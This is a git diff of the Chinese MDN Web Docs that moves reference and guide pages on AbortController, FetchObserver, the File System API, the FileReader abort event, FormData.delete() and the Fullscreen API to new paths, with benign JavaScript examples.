{{SpecName('DOM WHATWG', '#dom-abortcontroller-abort', 'abort()')}}{{Spec2('DOM WHATWG')}}Initial definition
- -

Browser compatibility

- - - -

{{Compat("api.AbortController.abort")}}

- -

See also

- - diff --git a/files/zh-cn/web/api/fetchcontroller/abortcontroller/index.html b/files/zh-cn/web/api/fetchcontroller/abortcontroller/index.html deleted file mode 100644 index 35fe67d1ae..0000000000 --- a/files/zh-cn/web/api/fetchcontroller/abortcontroller/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: AbortController.AbortController() -slug: Web/API/FetchController/AbortController -tags: - - AbortController - - Constructor - - Fetch -translation_of: Web/API/AbortController/AbortController ---- -
{{APIRef("DOM")}}{{SeeCompatTable}}
- -

AbortController() 构造函数创建了一个新的AbortController实例

- -

Syntax

- -
var controller = new AbortController();
- -

Parameters

- -

无.

- -

Examples

- -

在下面的这段代码中, 我们将通过Fetch API来下载一段视频.

- -

首先通过{{domxref("AbortController.AbortController","AbortController()")}} 构造函数来创建一个controller实例, 然后通过{{domxref("AbortController.signal")}} 属性获取到它的关联对象{{domxref("AbortSignal")}} 的引用.

- -

当 fetch request 初始化后, 将 AbortSignal 作为一个选项传入请求的选项参数中 (如下 {signal}). 这将signal,controller与fetch请求关联起来, 允许我们通过调用{{domxref("AbortController.abort()")}}来取消fetch请求, 正如下第二个事件监听器所示.

- -
var controller = new AbortController();
-var signal = controller.signal;
-
-var downloadBtn = document.querySelector('.download');
-var abortBtn = document.querySelector('.abort');
-
-downloadBtn.addEventListener('click', fetchVideo);
-
-abortBtn.addEventListener('click', function() {
-  controller.abort();
-  console.log('Download aborted');
-});
-
-function fetchVideo() {
-  ...
-  fetch(url, {signal}).then(function(response) {
-    ...
-  }).catch(function(e) {
-    reports.textContent = 'Download error: ' + e.message;
-  })
-}
- -
-

提示: 当abort() 被调用,  fetch() promise 将会抛出一个AbortError对象.

-
- -

你可以在GitHub上找到一个完整的使用示例 — see abort-api (see it running live also).

- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abortcontroller', 'AbortController()')}}{{Spec2('DOM WHATWG')}}Initial definition
- -

Browser compatibility

- - - -

{{Compat("api.AbortController.AbortController")}}

- -

See also

- - diff --git a/files/zh-cn/web/api/fetchcontroller/index.html b/files/zh-cn/web/api/fetchcontroller/index.html deleted file mode 100644 index 4211eb8211..0000000000 --- a/files/zh-cn/web/api/fetchcontroller/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: AbortController -slug: Web/API/FetchController -tags: - - API - - AbortController - - Fetch - - how to cancel a fetch request -translation_of: Web/API/AbortController ---- -
{{APIRef("DOM")}}{{SeeCompatTable}}
- -

AbortController接口表示一个控制器对象,允许你根据需要中止一个或多个 Web请求。

- -

你可以使用 {{domxref("AbortController.AbortController()")}} 构造函数创建一个新的 AbortController 。使用{{domxref("AbortSignal")}} 对象可以完成与与DOM请求的通信。

- -

构造函数

- -
-
{{domxref("AbortController.AbortController()")}}
-
创建一个新的AbortController 对象实例。
-
- -

属性

- -
-
{{domxref("AbortController.signal")}} {{readonlyInline}}
-
返回一个{{domxref("AbortSignal")}}对象实例,它可以用来 with/abort 一个Web(网络)请求。
-
- -

方法

- -
-
{{domxref("AbortController.abort()")}}
-
中止一个尚未完成的Web(网络)请求。这能够中止fetch 请求,任何响应{{domxref("Body")}}的消费者和流。
-
- -

示例

- -

在下面的代码片段中,我们想通过 Fetch API 下载一段视频。

- -

我们先使用{{domxref("AbortController.AbortController","AbortController()")}}构造函数创建一个控制器,然后使用{{domxref("AbortController.signal")}}属性获取其关联 {{domxref("AbortSignal")}}对象的引用。

- -

当一个 fetch request 初始化,我们把 AbortSignal 作为一个选项传递到到请求对象(如下 {signal})。这将信号和控制器与获取请求相关联然后允许我们通过调用{{domxref("AbortController.abort()")}}中止请求,如下第二个事件监听函数。

- -
const controller = new AbortController();
-let signal = controller.signal;
-
-const downloadBtn = document.querySelector('.download');
-const abortBtn = document.querySelector('.abort');
-
-downloadBtn.addEventListener('click', fetchVideo);
-
-abortBtn.addEventListener('click', function() {
-  controller.abort();
-  console.log('Download aborted');
-});
-
-function fetchVideo() {
-  //...
-  fetch(url, {signal}).then(function(response) {
-    //...
-  }).catch(function(e) {
-    reports.textContent = 'Download error: ' + e.message;
-  })
-}
- -
-

注意:abort() 被调用时,fetch() promise 拒绝一个名为 AbortError 的DOMException

-
- -

可以在GitHub上找到完整的工作示例 — 请参见 abort-api另请参见实时运行)。

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-abortcontroller', 'AbortController')}}{{Spec2('DOM WHATWG')}}Initial definition
- -

浏览器兼容

- - - -

{{Compat("api.AbortController")}}

- -

参见

- - - -
-
-
diff --git a/files/zh-cn/web/api/fetchobserver/index.html b/files/zh-cn/web/api/fetchobserver/index.html deleted file mode 100644 index 9bd7699388..0000000000 --- a/files/zh-cn/web/api/fetchobserver/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: FetchObserver -slug: Web/API/FetchObserver -translation_of: Web/API/FetchObserver ---- -
{{draft}}{{APIRef("Fetch API")}}{{SeeCompatTable}}
- -

FetchObserver接口提取API表示观察者对象,它允许您检索关于为获取请求的状态信息。

- -

Properties

- -

FetchObserver接口从其父接口继承属性EventTarget

- -
-
{{domxref("FetchObserver.state")}} {{readonlyInline}}
-
Returns a FetchState enum value indicating the current state of the fetch request.
-
- -

Event handlers

- -
-
{{domxref("FetchObserver.onstatechange")}}
-
Invoked when a {{event("statechange_(cancellable_fetch)", "statechange")}} event fires, i.e. when the state of the fetch request changes.
-
{{domxref("FetchObserver.onrequestprogress")}}
-
Invoked when a {{event("requestprogress")}} event fires, i.e. when the request progresses.
-
{{domxref("FetchObserver.onresponseprogress")}}
-
Invoked when a {{event("responseprogress")}} event fires, i.e. when the download of the response progresses.
-
- -

Methods

- -

The FetchSignal interface inherits methods from its parent interface, {{domxref("EventTarget")}}.

- -

Examples

- -

In the following snippet, we create a new {{domxref("FetchController")}} object, get its signal, and then give the signal to the fetch request via the signal parameter of its init object so the controller can control it. Later on we specify an event listener on a cancel button so that when the button is clicked, we abort the fetch request using {{domxref("FetchController.abort()")}}.

- -

We also specify an observe property inside the fetch request init object — this contains a {{domxref("ObserverCallback")}} object, the sole purpose of which is to provide a callback function that runs when the fetch request runs. This returns a {{domxref("FetchObserver")}} object that can be used to retrieve information concerning the status of a fetch request.

- -

Here we use {{domxref("FetchController.responseprogress")}} and {{domxref("FetchController.onstatechange")}} event handlers to respectively fill up a progress bar as more of the reponse downloads, and to determine when the download has completed and display a message to let the user know.

- -

Note that these event handlers are not yet supported anywhere.

- -
var controller = new FetchController();
-var signal = controller.signal;
-
-downloadBtn.addEventListener('click', function() {
-  fetch(url, {
-    signal,
-    observe(observer) {
-      observer.onresponseprogress = function(e) {
-        progress.max = e.total;
-        progress.value = e.loaded;
-      }
-
-      observer.onstatechange = function() {
-        if (observer.state = 'complete') {
-          reports.textContent = 'Download complete';
-        }
-      }
-    }
-  }).then( ... ) // do something with the response
-});
-
-cancelBtn.addEventListener('click', function() {
-  controller.abort();
-});
- -

You can find a work-in-progress demo showing usage of FetchObserver on GitHub (see the source code and the live example).

- -

Specifications

- -

Not part of a specification yet.

- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support -

{{CompatNo}}

-
{{CompatNo}}{{CompatNo}}[1]{{CompatNo}} -

{{CompatNo}}

-
{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Hidden behind a preference in 55+ Nightly. In about:config, you need to create two new boolean prefs — dom.fetchObserver.enabled and dom.fetchController.enabled — and set the values of both to true.

- -

See also

- - diff --git a/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html b/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html new file mode 100644 index 0000000000..e26a6b3c45 --- /dev/null +++ b/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html @@ -0,0 +1,210 @@ +--- +title: 文件系统API的基本概念 +slug: WebGuide/API/File_System/Introduction +translation_of: Web/API/File_and_Directory_Entries_API/Introduction +--- +

本文是对Basic_Concepts_About_the_Filesystem_API一文的译文。

+ +

文件系统API(File System API)模拟网络应用程序可以导航到的本地文件系统。你可以开发应用在一个沙盒的虚拟文件系统中读、写、创建以及索引文件。

+ +

该文件系统API与其他相关的API交互。它基于文件写入API(File Writer API),而后者又基于文件API(File API)。每一个API都具有不同的功能。这些API对于网络应用而言是一个巨大的进化飞跃,使得它们能够缓存和处理大量级的数据。

+ +

关于这篇文档

+ +

这篇介绍讨论了文件系统API中的基本概念和术语。它将给出一个大致的蓝图并引导你理解其中的 关键概念. 它也描述了一些限制,如果你忽略了它们将额能产生安全错误。关于该API中使用的更多术语,查看定义部分. 

+ +

关于文件系统API的引用文献部分,查看引用 的登陆页及其子页.

+ +

该规范仍然在定义中并可能会变更.

+ +

概要

+ +

文件系统API包括异步同步两种接口。异步API可以应用于当你不想操作锁定UI的情况。另一方面,同步API允许简单的程序模型,但它必须和WebWorkers一起使用

+ +

该API的用途

+ +

文件系统API的重要性体现在以下方面:

+ + + +

关于你用该api能够创建的特性示例,查看 使用示例 部分.  

+ +

文件系统API和其他存储API

+ +

文件系统API是一些其他存储API,例如 IndexedDB, WebSQL(已于2010年9月18日起弃用),以及AppCache等的替代品。该API对于那些处理blob的应用而言是一种更好的选择,因为:

+ + + +

示例使用场景

+ +

下面是关于你可以如何使用文件系统API的几个示例:

+ + + +

主要概念

+ +

在开始使用文件系统API之前,你需要理解几个概念:

+ + + +

文件系统API是一个文件系统的虚拟表现形式

+ +

该API不会使你能够访问本地文件系统,该沙盒也并不是文件系统的一部分。相反,它是一个虚拟的文件系统,对于网络应用而言它就像是一个成熟的文件系统。它不需要在浏览器之外与本地文件系统产生任何关系。

+ +

这 就意味着,一个网络应用和一个桌面应用不能在同时共享同一个文件。该API不能使你的网络应用脱离浏览器接触到文件,而桌面应用可以。然而,你可以从一个 网络应用中导出一个文件到桌面应用。例如,你可以使用文件API,创建blob, 重定向一个iframe指向该blob, 并调用下载管理器。

+ +

文件系统API可以使用不同的存储类型

+ +

一个应用可能需要临时或固定的存储。临时存储相对容易获得,因为浏览器已经提供了;但它是受到限制并可能在空间耗尽时被浏览器删除。另一方面,固定存储可以为你提供更大的空间并只能被用户删除,但它需要用户获得你的许可。

+ +

使用临时存储进行缓存,而用固定存储来保存那些你希望你的应用保存的类似用户产生的或独特的数据。

+ +

浏览器限定存储的配额

+ +

为了防止一个网络应用占用整个磁盘,浏览器可能会给每一个应用限定配额并分配存储。

+ +

存储空间如何分配以及你可以如何管理存储是浏览器的特性,因此你需要查阅浏览器各自的文档。例如,Google Chrome在规范中允许超过5MB的临时存储并支持配额管理API. 了解更多关于Chrome的实现,查看管理HTML5线下存储.

+ +

文件系统API拥有异步和同步两种版本

+ +

文件系统API拥有异步和同步两种版本。两种版本的API提供相同的功能和特性。事实上,它们基本相同,除了几个不同点以外。

+ + + +

对于一些任务而言同步API可能更简单一些。它直接的,顺序编程的模块可以让代码更易于阅读。其缺点在于它必须与Web Worker交互,而后者有一些限制。

+ +

当使用异步API时,务必使用错误回调

+ +

当使用异步API时,务必总是使用错误回调。虽然对于相关的方法而言错误回调是可选参数,但是明智的做法是把它们当成必选的。至少,通过处理错误得到的错误信息,你可以知道发生了什么。

+ +

文件系统API与其他API交互

+ +

文件系统API被设计用于在网络平台上与其他API以及元素交互。例如,你可能使用到如下内容之一:

+ + + +

文件系统API区分大小写

+ +
文件系统API区分大小写并保留大小写。
+ +

 

+ +

限制

+ +

出于安全的原因,浏览器对于文件的访问施加了一些限制。如果你忽略它们,将会产生安全错误。

+ + + +

文件系统API坚持同源策略

+ +

一个源是脚本执行的文档的URL的域,应用层协议和端口。每一个源拥有它自己关联的一组文件系统

+ +

文件系统上作出的安全限定阻止应用访问不同源的数据。这保护了私有数据以防被访问或删除。例如,当一个应用或页面在http://www.example.com/app/上时,它能访问位于http://www.example.com/dir/上的文件,因为它们拥有相同的源,它不能得到位于http://www.example.com:8080/dir/ (不同端口)或https://www.example.com/dir/ (不同协议)上的文件。

+ +

文件系统API不允许创建或重命名可执行文件

+ +

为防止恶意的应用运行可执行文件,你不能在文件系统API的沙盒中创建可执行文件。

+ +

文件系统是沙盒的

+ +

因为文件系统是沙盒的,一个网络应用不能访问另一个应用的文件。你也不能读写用户硬盘中任意文件夹中的文件。

+ +

不能通过file://来运行你的应用

+ +

你不能在本地通过file://来运行你的应用。如果你那么做了,浏览器将抛出错误,或者你的应用会静默地失败。这一限制也同样针对许多其他的文件API,包括BlobBuilder和FileReader。

+ +

出于测试的目的,你可以在Chrome中通过在启动时添加--allow-file-access-from-files参数来绕开这一限制,这一参数仅用于这个目的。

+ +

定义

+ +

这一部分定义和解释了文件系统API中使用的术语.

+ +
+
blob
+
代表二进制大对象。一个blob是存储在单一对象中的一组二进制数据。这是在网络应用中引用二进制数据的通用方法。一个blob可以是一个图片或音频文件。
+
Blob
+
Blob(以大写B开头的)是一个不可变的数据结构,这意味着一个blob引用的二进制数据不能被直接修改。这使得当Blobs传入到异步API时它们的行为将是可预见的。
+
persistent storage | 固定存储
+
固定存储是一种在浏览器中长期存在的的存储,除非用户永久删除它或应用删除它。
+
temporary storage | 临时存储
+
临时存储是任何网络应用都拥有的。它是自动而不需要请求的,但浏览器可以没有任何警告地删除这些存储。
+
+ +

其他

+ +

规范:http://dev.w3.org/2009/dap/file-system/pub/FileSystem/

+ +

引用: File System API Reference

+ +

相关文档:

+ + diff --git a/files/zh-cn/web/api/filereader/abort_event/index.html b/files/zh-cn/web/api/filereader/abort_event/index.html new file mode 100644 index 0000000000..8e36dbb3dd --- /dev/null +++ b/files/zh-cn/web/api/filereader/abort_event/index.html @@ -0,0 +1,175 @@ +--- +title: 'FileReader: 中止事件(abort)' +slug: Web/API/FileReader/中止事件(abort) +tags: + - API + - FileReader + - ProgressEvent + - Reference + - Web + - abort + - 中止 + - 事件 +translation_of: Web/API/FileReader/abort_event +--- +
{{APIRef}}
+ +

在中止读取时会触发 abort 事件: 例如程序调用{{domxref("FileReader.abort()")}}.

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
可取消No
接口{{domxref("ProgressEvent")}}
事件处理属性{{domxref("FileReader.onabort")}}
+ +

例子

+ +

实例

+ +

HTML

+ +
<div class="example">
+
+    <div class="file-select">
+        <label for="avatar">选择你的头像:</label>
+        <input type="file"
+               id="avatar" name="avatar"
+               accept="image/png, image/jpeg">
+    </div>
+
+    <img src="" class="preview" height="200" alt="图像预览...">
+
+    <div class="event-log">
+        <label>事件日志:</label>
+        <textarea readonly class="event-log-contents"></textarea>
+    </div>
+
+  </div>
+ + + +

JS

+ +
const fileInput = document.querySelector('input[type="file"]');
+const preview = document.querySelector('img.preview');
+const eventLog = document.querySelector('.event-log-contents');
+const reader = new FileReader();
+
+function handleEvent(event) {
+    eventLog.textContent = eventLog.textContent + `${event.type}: ${event.loaded} bytes transferred\n`;
+
+    if (event.type === "load") {
+        preview.src = reader.result;
+    }
+}
+
+function addListeners(reader) {
+    reader.addEventListener('loadstart', handleEvent);
+    reader.addEventListener('load', handleEvent);
+    reader.addEventListener('loadend', handleEvent);
+    reader.addEventListener('progress', handleEvent);
+    reader.addEventListener('error', handleEvent);
+    reader.addEventListener('abort', handleEvent);
+}
+
+function handleSelected(e) {
+    eventLog.textContent = '';
+    const selectedFile = fileInput.files[0];
+    if (selectedFile) {
+        addListeners(reader);
+        reader.readAsDataURL(selectedFile);
+    }
+    reader.abort();
+}
+
+fileInput.addEventListener('change', handleSelected);返回返回发的
+
+ +

返回结果

+ +

{{ EmbedLiveSample('Live_example', '100%', '300px') }}

+ +

参数

+ + + + + + + + + + + + + + +
参数状态
{{SpecName('File API', '#dfn-abort-event')}}{{Spec2('File API')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.FileReader.abort_event")}}

+ +

另请参见

+ + diff --git "a/files/zh-cn/web/api/filereader/\344\270\255\346\255\242\344\272\213\344\273\266(abort)/index.html" "b/files/zh-cn/web/api/filereader/\344\270\255\346\255\242\344\272\213\344\273\266(abort)/index.html" deleted file mode 100644 index 8e36dbb3dd..0000000000 --- "a/files/zh-cn/web/api/filereader/\344\270\255\346\255\242\344\272\213\344\273\266(abort)/index.html" +++ /dev/null @@ -1,175 +0,0 @@ ---- -title: 'FileReader: 中止事件(abort)' -slug: Web/API/FileReader/中止事件(abort) -tags: - - API - - FileReader - - ProgressEvent - - Reference - - Web - - abort - - 中止 - - 事件 -translation_of: Web/API/FileReader/abort_event ---- -
{{APIRef}}
- -

在中止读取时会触发 abort 事件: 例如程序调用{{domxref("FileReader.abort()")}}.

- - - - - - - - - - - - - - - - - - - - -
BubblesNo
可取消No
接口{{domxref("ProgressEvent")}}
事件处理属性{{domxref("FileReader.onabort")}}
- -

例子

- -

实例

- -

HTML

- -
<div class="example">
-
-    <div class="file-select">
-        <label for="avatar">选择你的头像:</label>
-        <input type="file"
-               id="avatar" name="avatar"
-               accept="image/png, image/jpeg">
-    </div>
-
-    <img src="" class="preview" height="200" alt="图像预览...">
-
-    <div class="event-log">
-        <label>事件日志:</label>
-        <textarea readonly class="event-log-contents"></textarea>
-    </div>
-
-  </div>
- - - -

JS

- -
const fileInput = document.querySelector('input[type="file"]');
-const preview = document.querySelector('img.preview');
-const eventLog = document.querySelector('.event-log-contents');
-const reader = new FileReader();
-
-function handleEvent(event) {
-    eventLog.textContent = eventLog.textContent + `${event.type}: ${event.loaded} bytes transferred\n`;
-
-    if (event.type === "load") {
-        preview.src = reader.result;
-    }
-}
-
-function addListeners(reader) {
-    reader.addEventListener('loadstart', handleEvent);
-    reader.addEventListener('load', handleEvent);
-    reader.addEventListener('loadend', handleEvent);
-    reader.addEventListener('progress', handleEvent);
-    reader.addEventListener('error', handleEvent);
-    reader.addEventListener('abort', handleEvent);
-}
-
-function handleSelected(e) {
-    eventLog.textContent = '';
-    const selectedFile = fileInput.files[0];
-    if (selectedFile) {
-        addListeners(reader);
-        reader.readAsDataURL(selectedFile);
-    }
-    reader.abort();
-}
-
-fileInput.addEventListener('change', handleSelected);返回返回发的
-
- -

返回结果

- -

{{ EmbedLiveSample('Live_example', '100%', '300px') }}

- -

参数

- - - - - - - - - - - - - - -
参数状态
{{SpecName('File API', '#dfn-abort-event')}}{{Spec2('File API')}}
- -

浏览器兼容性

- - - -

{{Compat("api.FileReader.abort_event")}}

- -

另请参见

- - diff --git a/files/zh-cn/web/api/formdata/delete/index.html b/files/zh-cn/web/api/formdata/delete/index.html new file mode 100644 index 0000000000..9d38b4e20a --- /dev/null +++ b/files/zh-cn/web/api/formdata/delete/index.html @@ -0,0 +1,71 @@ +--- +title: FormData.delete() +slug: Web/API/FormData/删除 +tags: + - 删除 +translation_of: Web/API/FormData/delete +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 接口的 delete() 方法会从 FormData 对象中删除指定键,即 key,和它对应的值,即 value。

+ +
+

Note: 此方法可用于 Web Workers

+
+ +

语法

+ +
formData.delete(name);
+ +

参数

+ +
+
name
+
要删除的键(Key)的名字。
+
+ +

返回

+ +

空。

+ +

例子

+ +

以下代码将会创建一个空的 FormData 对象, 并且从指定的表单中获取键值对:

+ +
var formData = new FormData(myForm);
+ +

你可以通过 delete() 方法来删除键值对:

+ +
formData.delete('username');
+ +

规范

+ + + + + + + + + + + + + + +
说明状态备注
{{SpecName('XMLHttpRequest','#dom-formdata-delete','delete()')}}{{Spec2('XMLHttpRequest')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.FormData.delete")}}

+ +

参见

+ + diff --git "a/files/zh-cn/web/api/formdata/\345\210\240\351\231\244/index.html" "b/files/zh-cn/web/api/formdata/\345\210\240\351\231\244/index.html" deleted file mode 100644 index 9d38b4e20a..0000000000 --- "a/files/zh-cn/web/api/formdata/\345\210\240\351\231\244/index.html" +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: FormData.delete() -slug: Web/API/FormData/删除 -tags: - - 删除 -translation_of: Web/API/FormData/delete ---- -

{{APIRef("XMLHttpRequest")}}

- -

{{domxref("FormData")}} 接口的 delete() 方法会从 FormData 对象中删除指定键,即 key,和它对应的值,即 value。

- -
-

Note: 此方法可用于 Web Workers

-
- -

语法

- -
formData.delete(name);
- -

参数

- -
-
name
-
要删除的键(Key)的名字。
-
- -

返回

- -

空。

- -

例子

- -

以下代码将会创建一个空的 FormData 对象, 并且从指定的表单中获取键值对:

- -
var formData = new FormData(myForm);
- -

你可以通过 delete() 方法来删除键值对:

- -
formData.delete('username');
- -

规范

- - - - - - - - - - - - - - -
说明状态备注
{{SpecName('XMLHttpRequest','#dom-formdata-delete','delete()')}}{{Spec2('XMLHttpRequest')}} 
- -

浏览器兼容性

- - - -

{{Compat("api.FormData.delete")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/fullscreen_api/guide/index.html b/files/zh-cn/web/api/fullscreen_api/guide/index.html new file mode 100644 index 0000000000..b2d2d36f3a --- /dev/null +++ b/files/zh-cn/web/api/fullscreen_api/guide/index.html @@ -0,0 +1,235 @@ +--- +title: 全屏指南 +slug: Web/API/Fullscreen_API/指南 +tags: + - API + - 全屏 + - 全屏 API + - 图像 + - 屏幕 + - 展示 + - 指南 + - 显示 + - 游戏 +translation_of: Web/API/Fullscreen_API/Guide +--- +
{{DefaultAPISidebar("Fullscreen API")}}
+ +

本文主要说明如何使用全屏API将给定元素设置为全屏模式,以及如何检测浏览器何时进入或退出全屏模式。

+ +

激活全屏模式

+ +

对于一个你想要以全屏模式展示的元素(例如 {{ HTMLElement("video") }}),你通过调用它的 {{ domxref("Element.requestFullscreen()") }} 方法就能简单地激活它的全屏模式。

+ +

我们来看看 {{HTMLElement("video")}} 这个元素:

+ +
<video controls id="myvideo">
+  <source src="somevideo.webm"></source>
+  <source src="somevideo.mp4"></source>
+</video>
+
+ +

我们可以用下面的代码让视频进入全屏模式:

+ +
var elem = document.getElementById("myvideo");
+if (elem.requestFullscreen) {
+  elem.requestFullscreen();
+}
+ +

这段代码会在调用 requestFullscreen() 方法之前先检验它是否存在。

+ +

显示差异

+ +

值得留意的是,目前 Gecko 和 WebKit 的实现之间的关键差异:Gecko 自动为元素添加了CSS规则,使其拉伸以填满屏幕: "width: 100%; height: 100%"。WebKit 没有这样做,相反地,它将全屏元素居中,不改变大小,而屏幕的其他部分为黑色。为了在 Webkit 中获得相同的全屏行为,你需要自行为元素添加 CSS "width: 100%; height: 100%;":

+ +
#myvideo:-webkit-full-screen {
+  width: 100%;
+  height: 100%;
+}
+
+ +

另一方面, 如果你尝试在在 Gecko 上模拟 WebKit 的行为,你需要把你想要呈现的元素放在另一个实际调整为全屏幕的元素中, 并使用 CSS 规则调整内部的元素,从而达到你想要的样式。

+ +

通知

+ +

当成功进入全屏模式时,包含该元素的文档会收到一个 {{Event("fullscreenchange")}} 事件。当退出全屏模式时,文档会再一次收到 {{Event("fullscreenchange")}} 事件。注意此 {{Event("fullscreenchange")}} 事件,不管在文档进入和退出全屏模式时,都不会提供任何信息,但如果文档的 {{DOMxRef("document.fullscreenElement", "fullscreenElement")}} 为非空(`null`),即处于全屏模式中。

+ +

当全屏请求失败时

+ +

你并不总是可以进入全屏模式。例如 {{HTMLElement("iframe")}} 元素具有 {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性,可选择是否将其内容以全屏模式显示。另外,几种特定的内容,比如窗体插件(windowed plug-ins),不能以全屏模式显示。尝试将不能以全屏模式显示的元素(或者此元素的父元素和后代元素)的时候,全屏请求是无效的。而相应元素会收到一个 mozfullscreenerror 事件。当全屏请求失败时,Firefox 会在 Web 控制台上打一条错误信息解释请求为什么失败。但是在 Chrome 和新版的 Opera 中,不会生成这样的警告。

+ +
+

注意:全屏请求必须在事件处理函数中调用,否则将会被拒绝。 

+
+ +

退出全屏模式

+ +

 

+ +

用户总是可以自行退出全屏模式;详见 {{Anch("Things your users want to know")}}。你也可以以编程方式通过调用 {{DOMxRef("Document.exitFullscreen()")}} 方法来做到这点。

+ +

其他信息

+ +

{{DOMxRef("Document")}} 提供了一些额外的信息, 在开发全屏网络应用时会很有用:

+ +
+
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}
+
fullscreenElement 属性可以告诉你当前以全屏模式显示的元素 {{DOMxRef("Element")}} 。若此项非空,文档处于全屏模式中,否则不在。
+
{{DOMxRef("Document.fullscreenEnabled")}}
+
fullscreenEnabled 属性可以告诉你文档当前是否为允许请求进入全屏幕模式的状态。
+
+ +

你的用户想了解的信息

+ +

你可能想确保使你的用户得知他可以按 ESC  键(或 F11) 退出全屏模式。

+ +

此外,当处在全屏模式中,浏览其他页面、切换标签页、或者切换到其他应用 (例如使用 Alt-Tab)  也会导致退出全屏模式。

+ +

示例

+ +

在这个例子中,网页中显示了一个视频。按下 Return 或 Enter 键让用户在视频的窗口显示和全屏显示之间切换。

+ +

View Live Examples

+ +

监听 Enter 键

+ +

当页面加载完成时,这段代码可以设置一个事件监听器以监听 Enter 键。

+ +
document.addEventListener("keydown", function(e) {
+  if (e.keyCode == 13) {
+    toggleFullScreen();
+  }
+}, false);
+
+ +

切换全屏模式

+ +

当用户按下 Enter 键时,这段代码会被调用,像上面示例看到的那样。

+ +
function toggleFullScreen() {
+  if (!document.fullscreenElement) {
+    document.documentElement.requestFullscreen();
+  } else {
+    if (document.exitFullscreen) {
+      document.exitFullscreen();
+    }
+  }
+}
+ +

这段代码首先检查 {{DOMxRef("document")}} 的fullscreenElement 属性的值(亦要检查带有前缀 mozmswebkit)。如果其为 null,文档当前处于窗口模式中,所以我们需要切换到全屏模式。通过调用{{DOMxRef("element.requestFullscreen()")}},可以切换到全屏模式。

+ +

如果全屏模式已经激活 (fullscreenElement 不为 null),我们可以调用 {{DOMxRef("document.exitFullscreen()")}}(或其前缀化的版本,这取决于你使用的浏览器)。

+ +

前缀

+ +
+

注意:现在,只有 Firefox 64 和 Chrome 71 支持无前缀。

+
+ +

目前并不是所有的浏览器都实现了 API 的无前缀版本(你可以使用 Fscreen 获取跨浏览器全屏API),这里有一份表格总结了前缀和它们之间的命名区别:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StandardWebKit (Safari) / Blink (Chrome & Opera) / EdgeGecko (Firefox)Internet Explorer
{{DOMxRef("Document.fullscreen")}} {{Deprecated_Inline}}webkitIsFullScreenmozFullScreen-
{{DOMxRef("Document.fullscreenEnabled")}}webkitFullscreenEnabledmozFullScreenEnabledmsFullscreenEnabled
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}webkitFullscreenElementmozFullScreenElementmsFullscreenElement
{{DOMxRef("Document.onfullscreenchange")}}onwebkitfullscreenchangeonmozfullscreenchangeonMSFullscreenChange
{{DOMxRef("Document.onfullscreenerror")}}onwebkitfullscreenerroronmozfullscreenerroronMSFullscreenError
{{DOMxRef("Document.exitFullscreen()")}}webkitExitFullscreen()mozCancelFullScreen()msExitFullscreen()
{{DOMxRef("Element.requestFullscreen()")}}webkitRequestFullscreen()mozRequestFullScreen()msRequestFullscreen()
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}初始版本
+ +

浏览器兼容性

+ +

Document.fullscreen

+ +
+ + +

{{Compat("api.Document.fullscreen")}}

+ +

Document.fullscreenEnabled

+ +
+ + +

{{Compat("api.Document.fullscreenEnabled")}}

+
+
+ +

扩展链接

+ + + +

 

diff --git "a/files/zh-cn/web/api/fullscreen_api/\346\214\207\345\215\227/index.html" "b/files/zh-cn/web/api/fullscreen_api/\346\214\207\345\215\227/index.html" deleted file mode 100644 index b2d2d36f3a..0000000000 --- "a/files/zh-cn/web/api/fullscreen_api/\346\214\207\345\215\227/index.html" +++ /dev/null @@ -1,235 +0,0 @@ ---- -title: 全屏指南 -slug: Web/API/Fullscreen_API/指南 -tags: - - API - - 全屏 - - 全屏 API - - 图像 - - 屏幕 - - 展示 - - 指南 - - 显示 - - 游戏 -translation_of: Web/API/Fullscreen_API/Guide ---- -
{{DefaultAPISidebar("Fullscreen API")}}
- -

本文主要说明如何使用全屏API将给定元素设置为全屏模式,以及如何检测浏览器何时进入或退出全屏模式。

- -

激活全屏模式

- -

对于一个你想要以全屏模式展示的元素(例如 {{ HTMLElement("video") }}),你通过调用它的 {{ domxref("Element.requestFullscreen()") }} 方法就能简单地激活它的全屏模式。

- -

我们来看看 {{HTMLElement("video")}} 这个元素:

- -
<video controls id="myvideo">
-  <source src="somevideo.webm"></source>
-  <source src="somevideo.mp4"></source>
-</video>
-
- -

我们可以用下面的代码让视频进入全屏模式:

- -
var elem = document.getElementById("myvideo");
-if (elem.requestFullscreen) {
-  elem.requestFullscreen();
-}
- -

这段代码会在调用 requestFullscreen() 方法之前先检验它是否存在。

- -

显示差异

- -

